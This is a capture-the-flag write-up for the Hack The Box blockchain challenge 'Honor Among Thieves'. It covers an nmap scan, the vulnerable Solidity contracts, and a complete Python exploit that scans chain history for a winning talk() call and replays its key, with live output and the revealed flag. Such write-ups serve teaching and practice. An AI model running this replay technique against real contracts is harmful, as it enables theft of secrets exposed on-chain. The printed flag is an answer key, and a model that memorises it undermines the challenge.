Back to writeups
HTBblockchaineasysolved

Honor Among Thieves

6 Jul 2026 · by 0xIDA

Solvers

Honor Among Thieves

Author: 0xIDA
Platform: HTB · Category: blockchain · Difficulty: easy

Solvers

Summary

The challenge contract stores the encrypted flag and hash in private storage, but the real leak is the public blockchain history. Rival transactions already called talk(bytes32) repeatedly; one emitted Voice(5), meaning it used the correct key. I replayed that key from the transaction calldata with my provided wallet, set solver, and retrieved the flag from /flag.

Challenge Description

As Alex and the group journeyed towards the secret treasure, they noticed they were being followed. They decided to investigate and found a rival group with the second key to the treasure. Alex watched as the other group discussed their plans and listened closely, trying to learn as much as she could about their strengths. She knew they had to get the key if they wanted to reach the treasure and was determined to outsmart the rival group. Alex continued to spy on them, learning about their plans and preparing for any potential confrontations. As the night wore on, she realized that they would have to be careful in order to succeed and was ready to do whatever it took to get the key for her group.

Reconnaissance

Downloaded and extracted the challenge bundle:

mkdir -p /root/ctf/honor-among-thieves
cd /root/ctf/honor-among-thieves
curl -L -o challenge.zip '<challenge-download-url>'
unzip -P hackthebox challenge.zip

Initial service check:

nmap -sV -sC -p 31927 154.57.164.77 --open

Output:

31927/tcp open  http    Gunicorn
|_http-title: Honor Among Thieves
|_http-server-header: gunicorn

The web app exposed the standard HTB blockchain endpoints documented at /docs:

  • /connection_info — player private key/address and contract addresses
  • /rpc — JSON-RPC endpoint
  • /flag — returns the flag once Setup.isSolved(player) is true

Relevant source:

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}
contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

Vulnerability Analysis

The intended clue is “eavesdrop.” encryptedFlag and hashedFlag are marked private, but Solidity private is not a confidentiality boundary. More importantly, every transaction and event on the local chain is public.

talk(bytes32) emits:

  • Voice(5) when the submitted key decrypts the stored flag correctly.
  • Voice(block.timestamp % 5) otherwise.

So I scanned historical transactions sent to the target contract, decoded talk(bytes32) calldata, and checked receipts for a Voice event whose indexed severity topic equals 5. That transaction's calldata contains the correct key.

Function selector used:

talk(bytes32) => 0x52eab0fa

Event topic used:

Voice(uint256) => 0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62

Exploit Script

#!/usr/bin/env python3
import json
import urllib.request

BASE = "http://154.57.164.77:31927"
RPC = f"{BASE}/rpc"
TALK_SELECTOR = "52eab0fa"  # talk(bytes32)
VOICE_TOPIC = "0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62"
SEVERITY_5 = "0x" + "0" * 63 + "5"

def http_get_json(path):
    with urllib.request.urlopen(f"{BASE}{path}") as r:
        return json.loads(r.read().decode())

def http_get_text(path):
    with urllib.request.urlopen(f"{BASE}{path}") as r:
        return r.read().decode()

def rpc(method, params=None):
    if params is None:
        params = []
    body = json.dumps({"jsonrpc": "2.0", "id": 1, "method": method, "params": params}).encode()
    req = urllib.request.Request(RPC, data=body, headers={"Content-Type": "application/json"})
    with urllib.request.urlopen(req) as r:
        res = json.loads(r.read().decode())
    if "error" in res:
        raise RuntimeError(res["error"])
    return res["result"]

def main():
    info = http_get_json("/connection_info")
    player = info["Address"]
    target = info["TargetAddress"].lower()
    print(f"player = {player}")
    print(f"target = {target}")

    latest = int(rpc("eth_blockNumber"), 16)
    winning_key = None
    winning_tx = None

    for n in range(latest + 1):
        block = rpc("eth_getBlockByNumber", [hex(n), True])
        if not block:
            continue
        for tx in block["transactions"]:
            if (tx.get("to") or "").lower() != target:
                continue
            tx_input = tx.get("input", "")
            if not tx_input.startswith("0x" + TALK_SELECTOR):
                continue
            receipt = rpc("eth_getTransactionReceipt", [tx["hash"]])
            for log in receipt.get("logs", []):
                topics = [t.lower() for t in log.get("topics", [])]
                if len(topics) >= 2 and topics[0] == VOICE_TOPIC and topics[1] == SEVERITY_5:
                    winning_key = "0x" + tx_input[10:74]
                    winning_tx = tx["hash"]
                    break
            if winning_key:
                break
        if winning_key:
            break

    if not winning_key:
        raise SystemExit("winning key not found")

    print(f"winning talk() tx = {winning_tx}")
    print(f"winning key = {winning_key}")

    data = "0x" + TALK_SELECTOR + winning_key[2:].rjust(64, "0")
    tx_hash = rpc("eth_sendTransaction", [{"from": player, "to": target, "data": data, "gas": "0x186a0"}])
    print(f"solve tx = {tx_hash}")

    solver_slot = rpc("eth_getStorageAt", [target, "0x2", "latest"])
    print(f"solver slot = {solver_slot}")

    flag = http_get_text("/flag")
    print(f"flag = {flag}")

if __name__ == "__main__":
    main()

Verified Execution Output

I ran the exploit live against the HTB instance:

cd /root/ctf/honor-among-thieves
python3 solve.py | tee solve-output.txt

Output:

player = 0x81DeDC6288B17C1cC5ECDd818cadc599CD773E2F
target = 0x44c4181e6b0c2ad92d3aaa142448eec116368c5b
winning talk() tx = 0x767308961e70b35480399150f5a9768439433ec2db5802b281054f47a10871a7
winning key = 0x8c2f770bfad06f28d52c890fa84a63a9cbd7553fab51a2225787529ed95254ec
solve tx = 0xe221c34bf305926ae648be4d2af296ff5a3ea42a0f37e1da4abd21171c4c1b69
solver slot = 0x00000000000000000000000081dedc6288b17c1cc5ecdd818cadc599cd773e2f
flag = HTB{d0n7_741k_11573n_70_3v3n75!}

Flag

HTB{d0n7_741k_11573n_70_3v3n75!}

Tools Used

  • curl for HTTP endpoints
  • unzip for challenge extraction
  • nmap for service identification
  • Python 3 standard library (urllib.request, json) for JSON-RPC interaction

Key Takeaways

  • Solidity private does not hide data from blockchain observers.
  • Transaction calldata and event logs are public and are often enough to recover secrets.
  • Indexed event parameters appear in receipt topics, making Voice(5) easy to detect.
  • In blockchain CTFs, scanning historical transactions is often the fastest way to “eavesdrop” on other actors.